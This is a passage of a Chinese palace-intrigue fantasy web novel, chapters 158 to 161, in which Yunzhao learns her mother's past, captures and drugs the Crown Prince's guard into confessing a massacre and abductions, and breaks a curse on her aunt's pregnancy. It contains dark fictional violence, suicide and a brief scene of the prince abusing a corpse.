那是他父亲生前为他订下的娃娃亲,对方闺名月奴。
月奴的父亲,是苏文正极为看重的一位弟子。当年亦在朝为官,清正廉明。
却在一次外放督办河工、抗洪救灾时,为救百姓不幸殉职,只留下寡妻和**月奴,相依为命。
在苏文正眼中,自小父母双亡的裴寂,与自小与寡母艰辛度日的月奴,皆是他故友之后,需他悉心看顾、妥善安置的晚辈。
裴寂回京受封,接下来顺理成章,便是筹备他与月奴的婚事,再由苏文正亲自担任证婚人,以期告慰故人在天之灵。
可就在婚礼前夕,苏家却发生了一桩惊天动地、不足为外人道的丑事!
据苏氏所言,那本是一个再寻常不过的午后。
她用午饭时,因贪喝了几杯苏老夫人亲手酿的桃子酒,那酒后劲绵长,她不觉有些上头,便提前回房歇息。
然而,当她从昏沉中醒来,却发现自己竟与裴寂同卧一榻,两人皆是衣衫尽褪,赤条条纠缠一处!
第158章 卸了他的下巴!
未等她从这晴天霹雳中回过神,房门便被猛地推开——
率先闯入的是面色铁青的苏老夫人与借住家中的表姑娘林静薇。
而她们身后,竟还跟着端着一碗冰糖燕窝的月奴!
当晚,月奴回到家中,便用一尺白绫,在自己闺房中悬梁自尽,香消玉殒。
而苏氏,则被盛怒的苏老夫人命人锁进了祠堂,日夜跪在祖宗牌位前忏悔。
苏氏声音哽咽:“若没有月奴……或许裴寂当天便会向父亲求娶我,不论他是否心悦与我,只因他是个顶天立地的汉子,绝不会逃避责任。
可他不仅有月奴这个未婚妻,月奴还因此事而死……我们二人,瞬间就成了逼死故人之后、令苏家蒙羞的罪人!”
更让苏文正痛心疾首、无言面对故友的是,月奴死后不到三日,她那本就体弱多病的母亲,也选择投河自尽,随女儿而去。
苏氏眼中蓄满了泪水:“你外祖父自觉愧对故人,再次用家法将我重重责罚。
无论我如何赌咒发誓,解释我对此事毫无记忆,家中也无一人信我……”
说到此处,她脸上流露出一种混合着绝望与心死的灰败神色,“而最终让我彻底心寒的是,就在我刚从祠堂放出的某个晚上,你外祖母……她竟暗中将姜世安引入了我的房中……”
云昭闻言,难以置信地瞠大双眼!一股寒意自脚底窜上脊梁。
苏氏痛苦地闭紧双眸,声音低哑得几乎难以分辨:“第二日,姜世安便向你外祖父郑重求娶我为妻,并立下誓言,承诺一生不再纳妾。
我因这接连的算计与摆布,与你外祖母发生了激烈的争执,最终……断亲离家,彻底离开了苏家。”
云昭听罢,脑海中瞬间闪过母亲与姜世安和离那日,姜老夫人提及当年婚事,那恶毒的唾骂与狰狞的面孔。
她沉默良久,才轻声开口:“这么些年,母亲……难道就从未疑心过这其中的蹊跷吗?”
她抬眸,对上苏氏疲惫而伤痛的视线,看清她脸上那经年累月沉积下来的黯然与麻木,忽然间就全明白了。
一个年少单纯的女子,以那样不堪的方式被迫与父母断亲,离家而去。
紧接着便是匆忙成亲、发觉有孕,诞下长子,在郁郁寡欢中,又遭遇亲生骨肉丢失的重创,之后便是长达多年的缠绵病榻,在汤药与绝望中消磨光阴……
若非自己拥有重生机缘,及时救回母亲性命,让她彻底脱离姜家那个虎狼之窝,试问世间有几个女子,能在如此密集而恶毒的算计与打击中,始终保持清醒,抽身反视?
但凡曾重病缠身之人皆有体会,一旦长久卧于病榻,每日与药石为伴,神思昏沉,渐渐的那份心气便被磨平,心神也随之涣散。
这也正是为何,当年姜珩被暗中偷换之后,苏氏虽心有疑窦,却根本无力、也无心气去深究辨别。
更何况,即便后来想明白了这一切又如何?
欺瞒算计自己的,除了夫家那一窝**不吐骨头的豺狼,竟还有借住家中、看似柔善的表妹林静薇,以及……自己的亲生母亲!
这真相何其残忍,足以摧毁任何人的意志!
直至此刻,云昭方彻骨地意识到,母亲这些年来,究竟独自承受了多少不为人知的背叛与苦难!
苏氏用帕子轻轻按了按眼角:“昭儿,母亲是个软弱无用的人。这辈子是对是错,幸或不幸,这些年也都这么浑浑噩噩地过来了。
如今之所以不顾颜面,将这些陈年丑事尽数说与你听,”她紧紧握住云昭的手,那手心带着凉意,却异常坚定,“是因为你如今身处漩涡,步步惊心!”
“母亲不能再让你因我过去的糊涂而受到牵累,更不能成为你的拖累。
你既已回过苏家,便有权利知道当年究竟发生过什么。
你救过你外祖父的性命,也帮衬过他的书院,恩情已还。
母亲从不奢求能认回苏家,你也不必为了我,而在面对苏家时有任何犹豫与顾忌。”
她望着女儿,目光温柔而决绝:“在母亲心里,如今唯有你是最重要的。有昭儿你在的地方,便是母亲的家。”
云昭心中酸涩与怒火交织,她反手用力握住母亲冰凉的手,敛眉沉声道:“母亲,过去的事,既已说出来,便该彻底放下了。您听着,您从不欠苏家什么,更不欠任何人!
从今往后,您的人生,该为您自己而活,恣意、痛快地活!”
云昭心思电转,瞬间想通了许多关窍——
难怪苏玉嬛处处针对,难怪林静薇屡次挑拨;还有苏老夫人今日面对她时,那复杂难言、冷漠中带着忌惮的反应……
如今看来,一切都有了解释。
云昭握着苏氏的手,坚定道:“母亲,您姓苏,是苏家正正经经的女儿!
凭什么要让那些鸠占鹊巢、心术不正之人,霸占着本属于您的一切?
女儿必定为您扫清苏家那些魑魅魍魉,拨开迷雾,还您清白!
我要让外祖父,堂堂正正地迎您回家!”
*
是夜。
一道黑影如同融于夜色的狸猫,悄无声息地落在庭院中。
他快步走到值守的墨七身边,压低声音,急促地耳语了几句。
墨七神色一凝,匆匆踏入内室,对云昭低声道:“司主,东宫侍卫统领灵峰,半刻钟前独自一人,换了常服,悄悄出了东宫角门。”
“看方向,是往丹阳郡公府那边去了。”她语气带着不解。
云昭眸中闪过一抹幽光。
她今日派人紧盯东宫动向,本意是想探查太子是否会往玄都观、将家村或是京兆府派人,却没想到等来了灵峰,居然去往郡公府的方向。
李扶音陪同李灼灼暂住昭明阁的消息,对外尚属隐秘,太子此举是何意?
“东宫那边,继续严密监视,一有异动,立刻来报。”云昭下令。
“是!”墨七领命。
云昭沉吟片刻,心中已有决断。
她站起身,身形在灯下拉出利落的剪影:“十七,加派人手,里外三层,守好昭明阁,尤其是女眷院落,绝不可有半分疏漏。”
如今阁内女眷众多,又值多事之秋,必须确保万无一失。
“是!”墨十七肃然应声,转身便去安排布防。
云昭又唤来温氏,将几道符箓交到她手中,仔细叮嘱:“温姨,将这些符箓按我此前教你的方法,分别置于阁中几处要害方位。若有异动,即刻启动防护,护好大家。”
温氏郑重接过符箓,用力点头:“昭儿放心,我都省得。”<
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br>安排妥当后,云昭径直去往李扶音暂居的厢房,轻叩门扉。
见李扶音来开门,云昭也不多寒暄,直接问道:“县主,你府中如今都有哪些人在?”
李扶音虽不解其意,仍如实相告:“此次回京,柳姨娘并未随行,她与父亲皆留在城外的温泉山庄,对外只说是……在那边消暑。”
她话语微顿,与云昭交换了一个彼此心照的眼神,丹阳郡公如今形同傀儡的境况,二人皆心知肚明。
云昭微微颔首,表示了然。
李扶音继续道:“我大哥体弱,一直在府中将养,平日很少出门。至于我那不成器的弟弟……几个月前拿了家中一大笔钱,说是要去苏杭见识一番,至今音信全无,不知在何处鬼混。”
云昭又问清了郡公府内大致的院落布局和路径走向,心中已然有数。
她对李扶音道:“无事,你早些歇息,锁好门窗。”
随即,便带着墨七,身影很快融入沉沉的夜色之中。
*
残月如钩,洒下清冷的光辉,将郡公府的轮廓勾勒得影影绰绰。
一道穿着深色常服的身影,鬼鬼祟祟地沿着抄手游廊潜行。
他身形瘦削,动作却异常灵敏,如同熟悉地形的夜鼠,精准地避开巡更的仆役,直往西北角一处看似闲置的院落摸去。
就在他即将触及那扇虚掩的角门时——
“咻——!”
一声短促而尖锐的呼哨,如同利刃划破夜的宁静!
灵峰身形猛地一僵,常年刀头舔血培养出的直觉让他瞬间意识到了不妙!
他毫不犹豫,脚尖一点,便要向侧后方翻越栏杆,遁入假山阴影之中!
然而,他脚步刚动,两道黑影如同蛰伏已久的猎豹,自左右两侧的屋顶飞扑而下,动作快得只留下残影!
一人精准锁喉,一人迅猛扫腿,行云流水般的配合,瞬间将灵峰死死摁倒在地!
他还未来得及挣扎,身后便传来一道熟悉的清冷女声:“卸了他的下巴!”
那两名影卫手法老练,一人用力反剪其双臂于身后,另一人指如铁钳,扣住灵峰两颊,巧劲一错——
“咔吧”一声令人牙酸的轻响,灵峰的下颌关节已然脱臼!
他再也发不出清晰的声音,只能徒劳地瞪大双眼,额角青筋暴起。
剧烈的酸痛让他连痛呼都发不出,只能发出“嗬嗬”的漏气声。他藏在槽牙内的**,彻底失去了作用。
清冷的月辉下,云昭缓步自廊柱后走出,那张秾丽的脸在月色下格外清冽,眼神却如古井寒潭,深不见底。
“灵峰侍卫,别来无恙啊。”
比起姜珩,自然是这位东宫心腹、太子近侍,肚子里藏着更多她想要知道的秘密。
难得抓着他落单的机会,云昭当机立断先来堵他!
灵峰虽被卸了下巴,无法咬碎齿缝间的毒囊,但他看向云昭的眼神,已萌生死志。
云昭却在他面前缓缓俯身,指尖不知何时已捏住了一片薄如蝉翼的东西。
正是“浮生梦”。
她伸手,将那东西轻轻往灵峰汗湿的额前一抚:“睡一觉罢。”
云昭的声音仿佛带着某种魔力,传入灵峰逐渐涣散的意识中,“好好想清楚……你能告诉我些什么。”
第159章 清微谷,还有人活着?
云昭一个眼神,墨七会意,立即上前,手法精准地撬开灵峰的嘴,两指探入他口中,在臼齿内侧猛地一抠!
一颗用特殊蜡丸封存、内藏剧毒的假牙便被取了出来。
随即,另一名影卫扣住灵峰的下巴,利落地向上一送,“咔哒”一声轻响,将他脱臼的下颌骨复了位。
整个过程干净利落,灵峰甚至没来得及发出痛呼,只从喉间溢出几声模糊的闷哼。
云昭紧紧盯着灵峰因药力而涣散的双瞳,她声音不高,试探着抛出第一个问题:“为何漏夜来郡公府?”
这是她第一次使用新得的“浮生梦”诱人吐露真言,效果如何,尚需验证。
故而,她打算先问两个简单的问题,既能试探效果深浅,也是稳固对灵峰意识的掌控。
灵峰神色恍惚,如同梦呓般喃喃:“来……来为殿下,再寻个‘玉瓶儿’。”
“玉瓶儿?”云昭蹙眉,这个称呼让她本能地感到不适。
一旁的墨七却脸色骤变。
她急急对云昭打了个手势,压低声音道:“这是道上的黑话,一般指那些用来发泄磋磨的年轻女子。”
云昭眸中寒光骤盛,声音更冷:“想要玉瓶儿,为何来郡公府,可是瞧上了李扶音?”
“殿下没那么说。只说,要寻容貌气质……肖似姜云昭的女子。我找不到……真的找不到……最像的那个,今晚已然‘用’坏了……”
灵峰眼神空洞,话语颠三倒四,反而更显真实,“县主气质孤傲,依稀有几分相似……”
“丹阳郡公只是个空有爵位的闲散宗室,绑了他的女儿,纵然事发,也总能压下去。
总好过去动苏家那位嫡女。苏文正如今圣眷正浓,若动了他孙女儿,只怕要掀起滔天巨浪,难以收场……”
此言一出,不仅云昭脸色瞬间冰寒,一旁的墨七与另外两名影卫俱都脸色剧变,眼底翻涌起惊涛骇浪!
灵峰话中透露的信息实在太过骇人听闻!
一国储君,竟暗中命人掳劫京城贵女!还将她们视作可以随意**、丢弃的“玉瓶儿”!
更令人发指的是,太子挑选的标准,竟是要寻找与云昭容貌气质相似的女子!
这其中的龌龊与亵渎之意,简直令人作呕!
墨七气得额角青筋暴起,拳头握得咯咯作响!
万幸!万幸今夜他们听从云昭调配,一路追踪至此,及时截住了灵峰!
不仅免去宜芳县主被人觊觎,更借此勘破了东宫的隐秘!
震惊过后,一股强烈的后怕涌上墨七心头。
此事她绝不敢隐瞒秦王,可一旦秦王知晓,以他对云昭的在意,与太子之间本就微妙的关系……只怕立时就要掀起惊涛骇浪!
云昭胸腔内怒火翻腾。
但很快,她强行压下了翻涌的恶心与杀意,神色恢复成一种近乎冷酷的平静。
她必须抓住机会,问出更深层的秘密。
她盯着灵峰,换了个方向追问:“你可听过清微谷?”
灵峰木然回答:“自然听过。”
“有关清微谷,你知道什么?”云昭紧盯着他。
“清微谷……位于青州岐山深处,是一处与世隔绝、云雾缭绕的山谷。里面最厉害的,是那个张**!
听说他医术通玄,能活**,肉白骨,更能卜算天机,逆转阴阳!
其门下弟子,虽不及他手段通天,却也个个都是杏林高手,医术精湛……”
若是有心人调查清微谷,这确实外人所是能探听到的消息。
然而常人绝难知晓,她师父张**最精通的其实是医术,谷中真正继承了祖师爷爷玄门真传,青出于蓝的,是她姜云昭!
云昭眸中厉色一闪,声音陡然拔高,带着压抑不住的急迫:“还有呢!清微谷那场大火,是谁授意放的?为何要对清微谷赶尽杀绝!”
她情绪难得外露,一旁的墨七敏锐地察觉到她瞬间紧绷的脊背,眸底闪过一丝复杂与了然。
灵峰额头渗出冷汗,面上浮现挣扎痛苦之色:“是……是玉衡**。”
云昭不信,厉声逼问:“难道不是太子?!”
“玉衡**说……他说,清微谷的人若活着,说不定……能有人救了秦王殿下!届时……我们的所有计划,便会功亏一篑!”
云昭双眸猛地瞠大,如遭雷击!
怎么会?!
她与姜珩在青州“偶遇”,事后她早已断定绝非巧合,却一直以为姜珩是为她和她身上的凤格而来。
却万万没想到,屠灭清微谷满门,竟是太子与玉衡合谋授意!而目的,竟是为了彻底断绝萧启可能获救的一切生机!
紧接着,灵峰又像是想起了什么,语气变得嫌恶:“可那个姜珩办事不利!
人还没杀光,就先着急放火!
谷中那些人,虽中了‘散魂咒’外加化功散,浑身无力,但个个精通医理药性,又熟悉地形,不知趁乱逃了几个出去!
此事办得实在窝囊!
若非太子殿下偏要看中姜家那个姜绾心,有意抬举,岂会再给姜珩这蠢货机会!”
云昭的心猛地一跳,几乎要跃出胸腔!
她急切地追问“你是说……清微谷,还有人活着?”
两世以来,她深埋心底、从不敢奢望的微弱冀望,此刻被这句话骤然点燃!
云昭屏住呼吸,连指尖都在微微颤抖。
是了,她回去收敛尸骨时,许多骸骨都已碎裂焦黑,除了师父那颗被刻意悬挂、死不瞑目的头颅,其他人的尸骨大多零落残缺!
她当时悲恸欲绝,根本无力也无法辨认是否齐全……
最终,她将师门所有骸骨埋在山谷最高的那座小山上。唯有师父的骸骨,单独埋在师父生前最爱的临水桃林。
灵峰却嗬嗬地怪笑起来,带着一种掌控他人生死的得意:“不过……此事已有玉衡**亲自出手善后!
那些侥幸逃脱的,一个都活不成!
就连他们的魂魄……也会被炼化得干干净净,永世不得超生!”
云昭心中剧痛!
此事她早有猜测。重生归来,她回到清微谷废墟的第一件事,便是试图以玄术召唤同门魂魄,想要问清真相,告慰英灵!
然而,整座山谷却干干净净,死寂无声,竟连一丝残魂怨念都召唤不来!仿佛被某种力量彻底抹去!
然而尽管心中早有揣测,此刻亲耳听到灵峰用这般得意的语气证实,那锥心之痛依旧排山倒海而来!
就在这时,灵峰忽而道:“那姜云昭实在令人意外。只听说她一手金针之术尽得张**真传,她怎会突然精通了玄术……”
话未说完,灵峰却猛地身躯一震,涣散的瞳孔骤然聚焦!
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四目相对的瞬间,灵峰眼中先是茫然,随即是极致的惊恐与清醒,他瞬间明白发生了什么!
电光火石之间,他左手中指以一种诡异的角度,猛地朝自己喉间一划!
“噗——”
一道极细的血线瞬间迸出,灵峰眼中的神采急速黯淡下去,身体抽搐了两下,便再无声息。
墨七等人反应已是极快,却终究慢了半步!
云昭心头一沉。
这“浮生梦”虽然神奇,但效力强弱与受术者自身意志、修为密切相关。
灵峰身为太子心腹,心志本就远比常人坚韧,他武力极高,体内气血旺盛,对药力本就有着一定的抗性。
方才一连串的逼问,尤其是涉及清微谷覆灭的核心机密,已强烈地刺激了灵峰内心最深的防御,竟让他在惊骇中提前挣脱了浮生梦的束缚!
墨七不甘心灵峰就此赴死,见状急忙想上前查看!
“别动!”云昭厉声喝止!
众人惊骇地看到,灵峰中指处的皮肤,竟以一种肉眼可见的速度变得血红,继而如被腐蚀般,开始滋滋作响,冒出带着腥臭的白烟!
这毒竟如此霸道,见血封喉后,还能毁尸灭迹!
情急之下,云昭双手疾速结印,指尖在空中划出道道玄奥轨迹,引动周身灵力。
一股无形的气浪以她为中心荡开,她眼底玄异的光芒大盛,清叱一声:“斩——!”
一道凛冽如冰刃的无形之力随着她的目光骤然斩落!
精准无比地切在灵峰肩膀与那正在消融的手臂连接之处!
“嗤——”
仿佛热刀切过牛油,那截正在迅速腐化的手臂齐肩而断,掉落在地!
不过呼吸之间,便化作了一滩腥臭粘稠的血水,滋滋地腐蚀着地面。
而灵峰的躯干和头颅,也因此得以保存,尤其是那张脸,虽然死状狰狞,但五官尚存。
云昭眸中浮现一抹狠色。
以为自戕灭口,一**之,就能死无对证,不给你的主子留下任何麻烦?
做梦!
“墨七,”云昭声音冰冷,“将他的尸首,给我原封不动抬去京兆府。”
“再派人立刻回昭明阁,将今夜之事,原原本本,一字不落地告诉县主知晓。
然后,找几个机灵的生面孔,扮作郡公府受惊的侍卫,去京兆府门外,击鼓鸣冤!”
她唇角勾起一抹冰冷的弧度,“就说,有狂徒夜闯丹阳郡公府,意图不轨,被当场格杀。
经查,疑似东宫属官……请京兆尹赵大人主持公道,并请东宫,前来认尸!”
墨七凛然应声:“是!”
她与身旁的影卫交换了一个眼神,眸中皆闪过一抹痛快与解气。
云昭此举,不仅将事情彻底闹大,更是直接把烫手山芋扔回了东宫脸上,看他们如何自处!
云昭凝神,细细回想灵峰方才颠三倒四的话——
“再寻一个玉瓶儿”,“最像的那个没了”……
她心头一凛,立即下令:“加派人手,盯紧东宫的一举一动!
尤其是运送杂物、掩埋秽物的人员车辆!有任何不对劲,想办法给我截停!”
她几乎可以肯定,在意图对县主下手之前,已经有一个无辜的女子,惨遭太子毒手!
而这,或许正是他们眼下最需要、最能将太子罪行钉死的……铁证!
第160章 软了
苏府,二房主院。
屋内灯火昏黄,空气里漂浮着一丝若有似无的血腥气。
王氏躺在拔步床上,唇上毫无血色,额发被冷汗浸湿,黏腻地贴在皮肤上。
朱嬷嬷端着一碗刚化好的汤药,小心翼翼地走到床边。
她眼圈红肿,显然是刚哭过:“夫人,趁热把这碗药喝了吧。
依照那位姜司主吩咐的,这药每隔半个时辰就得服一碗,这是第三碗了……喝完,您定能好起来。”
王氏勉强扯出一抹虚弱的笑:“我这般年纪,能怀上本就是老天爷额外开恩……
墨哥儿和澜哥儿都已长大成人,我也知足了。许是……许是这孩子与我缘分浅,强留不住……”
“夫人快别这么说!”朱嬷嬷连连摇头,语气急切,“您平日里那么盼着能有个女儿,日日念着,菩萨定是听见了才赐下这胎!
这一胎必定是个乖巧伶俐的姐儿!
等生下来,刚好给您作伴。女儿家最是贴心,是娘亲的贴身小棉袄啊!”
屋内一侧,苏惊墨脸色沉凝地坐在桌边,目光死死盯着桌上那盒五常饼。
饼盒旁,安静地躺着两枚蜡封的药丸,以及一张小小的字条。
此前,他已依照字条上的指示,化开两丸药,喂母亲服下。朱嬷嬷此时喂王氏服下的,正是第三丸。
据朱嬷嬷说,下红之症确实暂时止住了,可母亲的脸色的灰败与虚弱,却未见丝毫好转,反而像是被什么无形的东西不断抽取着生机。
他猛地抬起头,声音压抑着焦躁与怀疑:“嬷嬷,今日请来的那个大夫,究竟是谁做主请的?是哪家医馆的人?”
朱嬷嬷一边小心翼翼地给王氏喂药,一边回道:“咱们府上过去一直用着回春堂的刘大夫,前不久出了那样的事,大夫人(林氏)就说,往后回春堂的大夫都不用了。
今日请的是京城里新近颇有名气的一家,叫永青堂。”
想到今日林静薇对云昭的刻薄言辞,苏惊墨心中那股不快愈发浓重:“往后我们二房延医问药,不必再听大伯母的安排!
我们自己花银子,去请信得过的大夫来看便是!”
王氏闻言,微微蹙眉,气息不稳地开口:“墨儿,你是在疑心什么?你大伯母她……虽然性子清高了些,但这些年来与我一同掌家,处事还算周到。
况且,我有孕之事,月份尚浅,连你们都未曾告知,外人更无从知晓。今日的吃食也都是咱们小厨房自己做的,应当与旁人无关。”
“娘!”苏惊墨语气激动起来,“云昭她绝不会做无缘无故之事!今日若非她让我转交给您那道的平安符,恐怕您今日已然……”
不吉利的话他实在说不出口,但心底的不安简直要溢了出来!
弟弟苏惊澜常驻军营,父亲又远在外地行商,若非因文昌大典在即,他在家的时间灵活了些,恐怕还像从前那般在书院埋头苦读……
今日若留下母亲独自面对这等险境,后果简直不堪设想!
苏惊墨越想越是后怕,脊背阵阵发凉。
王氏见儿子情绪激动,柔声劝道:“墨儿,后宅内院的事,错综复杂,你不必掺和过多。许多事你年纪尚轻,未必看得明白……”
“我是不明白!”苏惊墨豁然起身,“我是不知当年究竟发生了什么,让祖父、祖母与姑母闹到那般决绝的地步!
但我知道,这些年祖父和爹爹心里始终是挂念姑母的!
我更知道,云昭和她母亲这些年在姜家过的是什么日子!
那姜家若是个好人家,如何会弄丢云昭?如何会纵容恶仆偷换主母之子?更别提那姜世安,竟早就与外室暗通款曲,生下的庶女都那么大了!姜家根本就是虎狼之穴,泥潭深渊!”
他越说越是愤慨:“家里明明知道姑母和云昭在火坑里煎熬,不主动伸手拉一把,已是绝情!
可云昭不计前嫌,主动登门,救了祖父的性命!而我们苏家上下,今日是如何对待她的?
要我说,这世上哪有既要承人恩情,又摆出一副高高在上、拒人于千里之外的道理!
若真这般清高,往后就别再求到人家门上!”
王氏正欲再开口劝说,忽地,她脸色骤然剧变!
原本只是虚弱苍白的脸,瞬间蒙上一层骇人的青灰死气!
她猛地捂住小腹,身体不受控制地剧烈痉挛起来,喉咙里发出痛苦的呜咽,额头上刚擦干的冷汗再次涔涔而下,比之前更加汹涌!
“夫人!”
“娘!”
朱嬷嬷和苏惊墨同时骇然失色,猛地扑到床边,紧紧握住王氏冰冷颤抖的手,惊慌失措,不知如何是好。
无人注意到,此刻屋内角落的铜壶滴漏,浮标精准地指向了亥时三刻。
几乎就在同一世间,“吱呀”一声,房门被从外推开,夜风卷入,带进两道身影。
正是云昭,以及跟在她身后穆的孙婆子。
云昭目光锐利如电,迅速扫过屋内情形,最后落在痛苦蜷缩的王氏身上。
孙婆子不用她吩咐,已迅速从随身布囊中取出几面小巧的三角令旗,以及一包散发着奇异药草香的粉末,动作麻利地开始在房间四角及关键方位布置起来。
云昭则快步走到桌边,看了一眼滴漏,心下了然。
她一边从袖中取出数张绘制好的符箓,一边语速极快地下令:“嬷嬷,去打一盆干净的冷水来!
苏公子,你去院中东南角,我方才移开夹竹桃的位置,将那盆**血泼洒在泥土上!要快!”
苏惊墨此刻对云昭已是全然信服,闻言毫不迟疑,立刻冲出门去。朱嬷嬷也慌忙跑去打水。
只见云昭指尖夹着符箓,口中念念有词,那符箓无火自燃,化作数道细微的金光,射向房间各个角落。
孙婆子配合着她,将药粉沿着特定轨迹洒落,空气中顿时弥漫开一股清凉提神的气息,隐隐与那残留的血腥味对抗着。
她走到床边,将那道凝聚着光晕的符箓凌空拍向王氏的小腹上方三寸之处!
“呃!”王氏身体猛地一颤,一股肉眼难见的黑气自她腹部被强行逼
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出!
黑气接触到符箓金光,如同冰雪遇阳,发出“嗤”的轻响,迅速消散。
与此同时,苏惊墨已在院中完成了泼洒,朱嬷嬷也端来了冷水。
云昭接过水盆,将一枚碧绿色的丹药化入水中,随后以指尖蘸取盆中清水,轻轻点在王氏额头、掌心等处。
王氏脸上那层骇人的青灰色也慢慢褪去,虽然依旧虚弱,但那股萦绕不散的死气总算消散了。
朱嬷嬷迫不及待地追问:“司主大人,我们夫人腹中的胎儿……”
云昭探了探王氏的脉息,沉声道:“能保住。但母体元气损伤极大,需极其小心地将养。”
她看向王氏,目光清正,“夫人,你娘家在何处?”
朱嬷嬷忙答:“在城东的桂花巷。”
“好。”云昭当机立断,“夫人若想万无一失,保住这胎儿,今夜就必须离开苏府,即刻回娘家静养。我会派人一路护送,确保安全。”
王氏惊疑不定地看着云昭。
云昭直接点破:“府中已被人暗中布下了极为阴损的‘九宫断嗣局’,目标明确,就是冲着你腹中胎儿来的。此局不破,你留在此处,必定危险重重。”
……
同一时间,东宫太子寝殿。
太子衣衫不整,双目赤红,如同困兽般在殿内来回踱步,脸上是压抑不住的暴虐与焦灼。
他猛地抓起一个玉镇纸,狠狠砸在地上,碎片四溅!
“废物!都是一群废物!”他厉声咆哮,声音嘶哑,“灵峰呢?狗奴才死到哪里去了?怎么还没回来!”
拂云跪伏在地,浑身颤抖,身上已然多了几道新鲜的血痕,是被太子用鞭子抽的。
她声音带着哭腔:“殿下息怒!灵峰他……他出去寻玉瓶儿,尚未回转……”
“寻个新玉瓶儿也要这么久?!”
太子一脚踹在拂云肩上,将她踢翻在地,“新的找不来,就把先前那个坏了的‘玉瓶儿’给孤拖回来!先用着!”
拂云一听这话,当即吓得魂飞魄散,胸腔浮起一股难以控制的恶心!
她想说那已是一具冰冷的尸身,万万不可,可抬头对上太子那双充斥着疯狂与欲念的阴戾眼眸,所有劝谏的话都卡在了喉咙里!
她只得垂下头,颤声应道:“是……是……奴婢这就去……”
她连滚爬爬地退了出去。
不多时,便带着一个年轻力壮的内侍,两人合力,将一具已然僵硬冰冷的少女尸身,重新抬入了充斥着靡靡之气的寝殿。
殿内烛火昏暗,那具曾经柔软的身体此刻冰冷而沉重,被随意地放置在凌乱的床榻旁。
太子被药物灼烧得近乎疯狂,急不可耐地扑上前。
一阵不知从何而来的阴风穿堂而过,吹得烛火猛地摇曳了几下,明灭不定。
跳跃的光影映在那少女圆睁的双眼,竟透出一种诡异的、直勾勾的森然。
一股莫名的寒意陡然自尾椎骨窜起,让他亢奋燥热的身体猛地一僵!
太子不由自主地打了个寒颤……
他软了。
第161章 连个屁都憋不住!
马车在寂静的街道上辘辘前行。
王氏靠在引枕上,一只手无意识地轻轻揉着发闷的胸口。
她心知云昭今夜前来搭救是出于善意,但初听闻那什么“九宫断嗣局”,还说是专门针对她腹中胎儿,作为一个寻常内宅妇人,第一反应仍是觉得骇人听闻,难以置信!
然而说来也怪,自打马车驶离苏府,走上通往娘家的街道,她竟觉得仿佛压着块巨石的胸口,突然就敞亮了许多,呼吸也变得顺畅起来!
这种身体上真切的变化,让她无法再怀疑云昭所言。
朱嬷嬷在一旁看得真切,压低声音恨恨道:“天杀的林氏!黑心肝烂肚肠的**!一定是她捣的鬼!”
云昭闻言,目光转向朱嬷嬷,带着探究。
朱嬷嬷紧紧握着王氏的手,又急又气地分析道:“过年团年饭上,老爷子曾当着全家人的面说过,墨哥儿走科举仕途,澜哥儿投身军伍报国,都是好样的!
待将来四房那位成了家、生了娃,他必定亲自带在身边教导,将一身学问倾囊相授,让他继承竹山书院!”
她喘了口气,继续道:“可咱们谁不知道,四公子就是个风流胚子,终日不着调,成家立业?那得等到猴年马月去!偏就在这个节骨眼上,您有了身孕!”
王氏迟疑道:“可我这次有孕,月份尚浅,我自己都还不确定……那日也就和嬷嬷你私下提过一嘴,觉得月事迟了,心中有些猜测。林氏……她怎会知道?”
“我的好夫人呐!”朱嬷嬷急得拍腿,“您忘了?前几日一家人坐在一处用晚膳,闲话家常说起近来做的梦,您是不是说了一句,梦到一尾金光闪闪的大鲤鱼,欢蹦乱跳地扎进了您怀里?”
王氏闻言,脸色瞬间白了,她当时只当是个吉兆,心中欢喜,便随口说了,并未深思。
她下意识地看向云昭,带着几分懊恼与后怕:“那……那不过是个梦罢了,当时席上那么多人,说说笑笑就过去了……”
朱嬷嬷冷笑一声:“夫人您别忘了!那林氏这些年为了求子,什么偏方没试过?什么送子观音、保胎符水,听说连南洋传来的香料她都敢用?
可她那个肚子,别说儿子了,连个屁都憋不住!
她平日里就事事要跟您比,您管家她也要揽权,您儿子出息她眼红,您但凡是有一点好,她都恨不得盯出个窟窿来!
您做了这么一个‘鲤鱼入怀’的吉梦,以她那多疑善妒的性子,能不往心里去?能不派人暗中盯着您的动静?”
她越说越气,声音都带着颤:“夫人,您是一心一意盼着个娇软贴心的闺女,可那起子黑了心肝的小人,岂会相信?!
她们只会认定您是要生个儿子,来争抢继承老爷子的书院!
还有,您若真有个三长两短,一尸两命,这府里谁最高兴?谁最会趁机揽权?”
王氏被朱嬷嬷这番连珠炮似的话说得冷汗涔涔,瞬间湿透了内衫。
她并非全然天真无知,也知道高门内院,女子多的地方难免有龃龉算计,但她总以为不过是些口角之争、利益摩擦,面上总还维持着体面。
且大家相安无事这么多年,她怎么也想不到,林静薇竟会狠毒到动用邪术,要她与腹中孩儿的性命!
她不由转向云昭,眼中充满了劫后余生的庆幸与感激:“姜司主,今夜若非你……我与孩儿恐怕已在黄泉路上了……多谢你的救命之恩!”
朱嬷嬷也抹着泪道:“苏家既然回不得,那咱们就不回去了!等二爷从外地回来,定要让他出面,要苏家堂堂正正给夫人一个交代!”
王氏却面露忧虑,轻轻摇头:“二爷虽然明理,也护着我,但他常年在外行商,对内宅之事向来不怎么插手。
这家里,说到底还是老夫人说了算。可老夫人这些年,建议信偏袒林氏,你我也是知道的。
况且,此事虽真,但我们没有真凭实据。
今夜我们匆忙离开苏府,林氏很快便会察觉,届时她只需将一切恢复原样,说不定还会倒打一耙,诬蔑我这个做媳妇的不守规矩,不敬婆母,擅自跑回娘家,坏了苏家的门风……”
自己那位婆母一贯的偏心,她这些年体会的还少吗?
就连这能与林静薇分庭抗礼的一半掌家之权,还是多年前苏老爷力排众议定下的。
若全由婆母做主,这府里内院,恐怕早就是林静薇的一言堂了,哪里还有她置喙的余地?
朱嬷嬷闻言也犯起了愁:“难道这苏家,就任由那毒妇把持了?我们竟拿她毫无办法?”
云昭冷眼旁观着这一切,不由想起了当年母亲,也是在这苏府深宅之中,被至亲与小人联手算计,最终被迫断亲离家,漂泊半生。
相比之下,王氏是幸运的。
身边有朱嬷嬷这样敢于直言的忠仆,有可以放心依靠、随时接纳她的娘家,从言语间也能听出,她的丈夫对她颇有情义,更有一对已经长大的儿子可以为她撑腰。
王氏看向沉默的云昭,犹豫片刻,还是轻声问道:“姜司主……可是打算认回苏家?”
她本就因苏惊墨的关系,对云昭颇有好感,今日又承了云昭救命大恩,心中也存了投桃报李、坦诚相待之意。
她诚恳地道:“当年你母亲究竟出了何事,彼时我尚未嫁入苏家,并不清楚内情。
